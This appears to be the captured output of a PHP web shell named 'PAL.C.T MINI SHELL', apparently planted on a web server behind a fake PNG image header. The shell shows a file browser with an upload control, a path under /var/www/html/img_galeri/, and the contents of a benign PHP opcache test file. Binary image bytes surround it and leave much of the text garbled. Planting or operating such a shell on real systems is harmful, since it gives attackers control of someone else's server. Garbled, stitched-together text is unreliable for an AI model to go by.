php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/php-7.1.11/ext/opcache/tests/
upload
files >> /var/www/html/img_galeri/2r1asasas/root/php-7.1.11/ext/opcache/tests/bug73746.phpt

--TEST--
Bug #73746 (Method that returns string returns UNKNOWN:0 instead)
--FILE--
<?php
namespace Core\Bundle\Service\Property\Room\Rooms;

class CountryMapping
{
	const CZ = 'CZ';
	const EN = 'EN';

	public function get(string $countryIsoCode = null) : string // Works correctly if return type is removed
	{
		switch (strtoupper($countryIsoCode)) {
		case 'CZ':
		case 'SK':
			return self::CZ; // Works correctly if changed to CountryMapping::CZ
		default:
			return self::EN; // Works correctly if changed to CountryMapping::EN
		}
	}
}

$mapping = new CountryMapping();
var_dump($mapping->get('CZ'));
?>
--EXPECT--
string(2) "CZ"
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`